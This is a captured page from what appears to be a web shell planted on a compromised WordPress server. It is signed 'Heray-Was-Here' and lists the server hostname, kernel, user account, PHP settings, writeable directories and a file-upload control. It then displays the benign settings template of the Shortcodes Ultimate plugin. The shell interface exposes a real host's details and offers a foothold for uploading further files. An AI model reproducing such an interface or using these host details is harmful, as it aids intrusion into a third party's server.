Heray-Was-Here
Server : Apache
System : Linux vps37394.inmotionhosting.com 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : jasonp18 ( 1000)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/jasonp18/www/wp-content/plugins/shortcodes-ultimate/admin/partials/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/jasonp18/www/wp-content/plugins/shortcodes-ultimate/admin/partials/pages/settings.php
<?php defined( 'ABSPATH' ) || exit; ?>

<div id="su_admin_settings" class="wrap su-admin-settings wp-clearfix">

	<h1><?php $this->the_page_title(); ?></h1>

	<?php settings_errors(); ?>

	<form action="options.php" method="post">

		<?php if ( isset( $_GET['advanced'] ) ) : ?>

			<div class="notice notice-warning">
				<p>
					<strong><?php esc_html_e( 'Warning!', 'shortcodes-ultimate' ); ?></strong><br>
					<?php esc_html_e( 'You are editing advanced settings. Do NOT modify anything in here unless you know what you are doing.', 'shortcodes-ultimate' ); ?>
				</p>
				<p>
					<a href="<?php echo esc_attr( $this->get_component_url() ); ?>">&larr; <?php esc_html_e( 'Return to main settings', 'shortcodes-ultimate' ); ?></a>
				</p>
			</div>

			<?php settings_fields( $this->plugin_prefix . 'advanced-settings' ); ?>
			<?php do_settings_sections( $this->plugin_prefix . 'advanced-settings' ); ?>

		<?php else : ?>

			<?php settings_fields( rtrim( $this->plugin_prefix, '-_' ) ); ?>
			<?php do_settings_sections( $this->plugin_prefix . 'settings' ); ?>

		<?php endif; ?>

		<?php submit_button(); ?>

	</form>

	<?php if ( ! isset( $_GET['advanced'] ) ) : ?>
		<p><a href="<?php echo esc_attr( add_query_arg( 'advanced', '', $this->get_component_url() ) ); ?>"><?php esc_html_e( 'Advanced settings', 'shortcodes-ultimate' ); ?></a></p>
	<?php endif; ?>

</div>

Hry